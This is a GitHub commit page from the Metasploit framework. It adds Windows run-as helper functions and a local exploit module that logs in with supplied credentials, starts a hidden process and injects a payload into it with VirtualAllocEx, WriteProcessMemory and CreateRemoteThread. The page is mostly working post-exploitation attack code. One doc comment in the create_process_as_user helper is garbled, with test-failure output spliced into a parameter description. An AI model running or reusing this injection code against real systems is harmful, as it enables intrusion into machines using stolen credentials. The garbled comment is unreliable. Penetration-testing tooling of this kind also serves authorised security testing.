Skip to content

Commit 9cfafdd

Browse files
committed
Land rapid7#4649, improve post/windows/manage/run_as and as an exploit
2 parents e0568e9 + a5d589e commit 9cfafdd

File tree

4 files changed

+598
-91
lines changed

4 files changed

+598
-91
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
88
include Msf::Post::File
99
include Msf::Exploit::EXE
1010
include Msf::Exploit::Powershell
11+
include Msf::Post::Windows::Error
12+
13+
ERROR = Msf::Post::Windows::Error
14+
MAX_PATH = 260
15+
STARTF_USESHOWWINDOW = 0x00000001
16+
SW_HIDE = 0
1117

1218
def shell_execute_exe(filename = nil, path = nil)
1319
exe_payload = generate_payload_exe
@@ -34,4 +40,217 @@ def shell_exec(command, args)
3440
select(nil, nil, nil, 1) until session_created?
3541
end
3642
end
43+
44+
#
45+
# Create a STARTUP_INFO struct for use with CreateProcessA
46+
#
47+
# This struct will cause the process to be hidden
48+
#
49+
# @return [String] STARTUP_INFO struct
50+
#
51+
def startup_info
52+
[0, # cb
53+
0, # lpReserved
54+
0, # lpDesktop
55+
0, # lpTitle
56+
0, # dwX
57+
0, # dwY
58+
0, # dwXSize
59+
0, # dwYSize
60+
0, # dwXCountChars
61+
0, # dwYCountChars
62+
0, # dwFillAttribute
63+
STARTF_USESHOWWINDOW, # dwFlags
64+
SW_HIDE, # wShowWindow
65+
0, # cbReserved2
66+
0, # lpReserved2
67+
0, # hStdInput
68+
0, # hStdOutput
69+
0 # hStdError
70+
].pack('VVVVVVVVVVVVvvVVVV')
71+
end
72+
73+
#
74+
# Call CreateProcessWithLogonW to start a process with the supplier
75+
# user credentials
76+
#
77+
# @note The caller should clear up the handles returned in
78+
# the PROCESS_INFORMATION @return hash.
79+
#
80+
# @param domain [String] The target user domain
81+
# @param user [String] The target user
82+
# @param password [String] The target user password
83+
# @param application_name [String] The executable to be run, can be
84+
# nil
85+
# @param command_line [String] The command line or process arguments
86+
#
87+
# @return [Hash, nil] The values from the process_information struct
88+
#
89+
def create_process_with_logon(domain, user, password, application_name, command_line)
90+
return unless check_user_format(user, domain)
91+
return unless check_command_length(application_name, command_line, 1024)
92+
93+
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
94+
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
95+
domain,
96+
password,
97+
'LOGON_WITH_PROFILE',
98+
application_name,
99+
command_line,
100+
'CREATE_UNICODE_ENVIRONMENT',
101+
nil,
102+
nil,
103+
startup_info,
104+
16)
105+
if create_process['return']
106+
pi = parse_process_information(create_process['lpProcessInformation'])
107+
print_good("Process started successfully, PID: #{pi[:process_id]}")
108+
else
109+
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
110+
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
111+
end
112+
113+
pi
114+
end
115+
116+
#
117+
# Call CreateProcessAsUser to start a process with the supplier
118+
# user credentials
119+
#
120+
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
121+
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
122+
#
123+
# This will normally error with 0xc000142 on later OS's (Vista+?) for
124+
# gui apps but is ok for firing off cmd.exe...
125+
#
126+
# @param domain [String] The target user domain
127+
# @param user [String] The target user
128+
# @param password [String] The target user password
129+
# @param application_name [String] Thn executableived :CloseHandle
130+
# with unexpected arguments
131+
# expected: ("testPhToken")
132+
# got: (n be run, can be
133+
# nil
134+
# @param command_line [String] The command line or process arguments
135+
#
136+
# @return [Hash, nil] The values from the process_information struct
137+
#
138+
def create_process_as_user(domain, user, password, application_name, command_line)
139+
return unless check_user_format(user, domain)
140+
return unless check_command_length(application_name, command_line, 32000)
141+
142+
vprint_status("Executing LogonUserA...")
143+
logon_user = session.railgun.advapi32.LogonUserA(user,
144+
domain,
145+
password,
146+
'LOGON32_LOGON_INTERACTIVE',
147+
'LOGON32_PROVIDER_DEFAULT',
148+
4)
149+
150+
if logon_user['return']
151+
begin
152+
ph_token = logon_user['phToken']
153+
vprint_status("Executing CreateProcessAsUserA...")
154+
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
155+
application_name,
156+
command_line,
157+
nil,
158+
nil,
159+
false,
160+
'CREATE_NEW_CONSOLE',
161+
nil,
162+
nil,
163+
startup_info,
164+
16)
165+
166+
if create_process['return']
167+
begin
168+
pi = parse_process_information(create_process['lpProcessInformation'])
169+
ensure
170+
session.railgun.kernel32.CloseHandle(pi[:process_handle])
171+
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
172+
end
173+
print_good("Process started successfully, PID: #{pi[:process_id]}")
174+
else
175+
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
176+
end
177+
178+
return pi
179+
ensure
180+
session.railgun.kernel32.CloseHandle(ph_token)
181+
end
182+
else
183+
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
184+
end
185+
186+
nil
187+
end
188+
189+
#
190+
# Parse the PROCESS_INFORMATION struct
191+
#
192+
# @param process_information [String] The PROCESS_INFORMATION value
193+
# from the CreateProcess call
194+
#
195+
# @return [Hash] The values from the process_information struct
196+
#
197+
def parse_process_information(process_information)
198+
fail ArgumentError, 'process_information is nil' if process_information.nil?
199+
fail ArgumentError, 'process_information is empty string' if process_information.empty?
200+
201+
pi = process_information.unpack('VVVV')
202+
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
203+
end
204+
205+
#
206+
# Checks the username and domain is in the correct format
207+
# for the CreateProcess_x WinAPI calls.
208+
#
209+
# @param username [String] The target user
210+
# @param domain [String] The target user domain
211+
#
212+
# @raise [ArgumentError] If the username format is incorrect
213+
#
214+
# @return [True] True if username is in the correct format
215+
#
216+
def check_user_format(username, domain)
217+
fail ArgumentError, 'username is nil' if username.nil?
218+
219+
if domain && username.include?('@')
220+
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
221+
end
222+
223+
true
224+
end
225+
226+
#
227+
# Checks the command_length parameter is the correct length
228+
# for the CreateProcess_x WinAPI calls depending on the presence
229+
# of application_name
230+
#
231+
# @param application_name [String] lpApplicationName
232+
# @param command_line [String] lpCommandLine
233+
# @param max_length [Integer] The max command length of the respective
234+
# CreateProcess function
235+
#
236+
# @raise [ArgumentError] If the command_line is too large
237+
#
238+
# @return [True] True if the command_line is within the correct bounds
239+
#
240+
def check_command_length(application_name, command_line, max_length)
241+
fail ArgumentError, 'max_length is nil' if max_length.nil?
242+
243+
if application_name.nil? && command_line.nil?
244+
raise ArgumentError, 'Both application_name and command_line are nil'
245+
elsif command_line && command_line.length > max_length
246+
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
247+
elsif application_name.nil? && command_line
248+
cl = command_line.split(' ')
249+
if cl[0] && cl[0].length > MAX_PATH
250+
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
251+
end
252+
end
253+
254+
true
255+
end
37256
end
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit3 < Msf::Exploit::Local
10+
include Msf::Post::Windows::Runas
11+
include Msf::Post::Windows::Priv
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => "Windows Run Command As User",
16+
'Description' => %q{
17+
This module will login with the specified username/password and execute the
18+
supplied command as a hidden process. Output is not returned by default.
19+
Unless targetting a local user either set the DOMAIN, or specify a UPN user
20+
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
21+
22+
A custom command line can be sent instead of uploading an executable.
23+
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
24+
respectively. See the MSDN documentation for how these two values interact.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Platform' => ['win'],
28+
'SessionTypes' => ['meterpreter'],
29+
'Author' => ['Kx499', 'Ben Campbell'],
30+
'Targets' => [
31+
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
32+
],
33+
'DefaultTarget' => 0,
34+
'References' =>
35+
[
36+
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
37+
],
38+
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
39+
))
40+
41+
register_options(
42+
[
43+
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
44+
OptString.new('USER', [true, 'Username to login with' ]),
45+
OptString.new('PASSWORD', [true, 'Password to login with' ]),
46+
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
47+
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
48+
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
49+
], self.class)
50+
end
51+
52+
def exploit
53+
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
54+
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
55+
domain = datastore['DOMAIN']
56+
user = datastore['USER']
57+
password = datastore['PASSWORD']
58+
59+
if datastore['USE_CUSTOM_COMMAND']
60+
application_name = datastore['APPLICATION_NAME']
61+
command_line = datastore['COMMAND_LINE']
62+
else
63+
command_line = nil
64+
windir = get_env('windir')
65+
66+
# Select path of executable to run depending the architecture
67+
case sysinfo['Architecture']
68+
when /x86/i
69+
application_name = "#{windir}\\System32\\notepad.exe"
70+
when /x64/i
71+
application_name = "#{windir}\\SysWOW64\\notepad.exe"
72+
end
73+
end
74+
75+
pi = create_process_with_logon(domain,
76+
user,
77+
password,
78+
application_name,
79+
command_line)
80+
81+
return unless pi
82+
83+
begin
84+
return if datastore['USE_CUSTOM_COMMAND']
85+
86+
vprint_status('Injecting payload into target process')
87+
raw = payload.encoded
88+
89+
process_handle = pi[:process_handle]
90+
91+
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
92+
nil,
93+
raw.length,
94+
'MEM_COMMIT|MEM_RESERVE',
95+
'PAGE_EXECUTE_READWRITE')
96+
97+
address = virtual_alloc['return']
98+
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
99+
100+
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
101+
address,
102+
raw,
103+
raw.length,
104+
4)
105+
106+
fail_with(Exploit::Failure::Unknown,
107+
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
108+
109+
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
110+
nil,
111+
0,
112+
address,
113+
nil,
114+
0,
115+
4)
116+
if create_remote_thread['return'] == 0
117+
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
118+
else
119+
print_good("Started thread in target process")
120+
end
121+
ensure
122+
session.railgun.kernel32.CloseHandle(pi[:process_handle])
123+
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
124+
end
125+
end
126+
end

0 commit comments

Comments
 (0)